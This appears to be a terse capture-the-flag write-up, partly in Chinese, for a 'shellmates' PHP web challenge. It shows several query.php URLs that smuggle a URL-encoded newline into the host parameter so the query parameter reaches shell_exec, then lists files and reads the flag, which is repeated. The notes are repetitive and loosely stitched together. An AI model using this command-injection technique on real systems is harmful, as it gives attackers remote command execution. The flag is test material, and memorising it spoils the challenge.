/query.php?host=whois.verisign-grs.com%0a&query=ls /query.php?host=whois.verisign-grs.com%0a&query=cat+thisistheflagwithrandomstuffthatyouwontguessJUSTCATME
shellmates{i_$h0U1D_HaVE_R3AD_7HE_dOc_W3Ll_9837432986534065}
/query.php?host=whois.verisign-grs.com%0a&query=cat%20thisistheflagwithrandomstuffthatyouwontguessJUSTCATME
1.读php文件 2.分析出存在危险函数shell_exec 3.通过url编码换行绕过第一个参数host 4.第二个参数query可以输入rce。空格用url编码绕
在本题的正则匹配中,空格无法匹配$前的任何字符,所以%20是不可行的,if的条件都过不了;在whois.verisign-grs.com后加换行是可行的,不仅字符串本身可以过if,换行后相当于重新输命令,即query给出的参数直接执行命令
shellmates{i_$h0U1D_HaVE_R3AD_7HE_dOc_W3Ll_9837432986534065} /query.php?host=whois.verisign-grs.com%0a&query=cat+thisistheflagwithrandomstuffthatyouwontguessJUSTCATME
shellmates{i_$h0U1D_HaVE_R3AD_7HE_dOc_W3Ll_9837432986534065}
Half the truth is often a big lie: thisistheflagwithrandomstuffthatyouwontguessJUSTCATSHE
空格被过滤了 用%20绕过
query.php?host=whois.verisign-grs.com%0a&query=cat%20thisistheflagwithrandomstuffthatyouwontguessJUSTCATME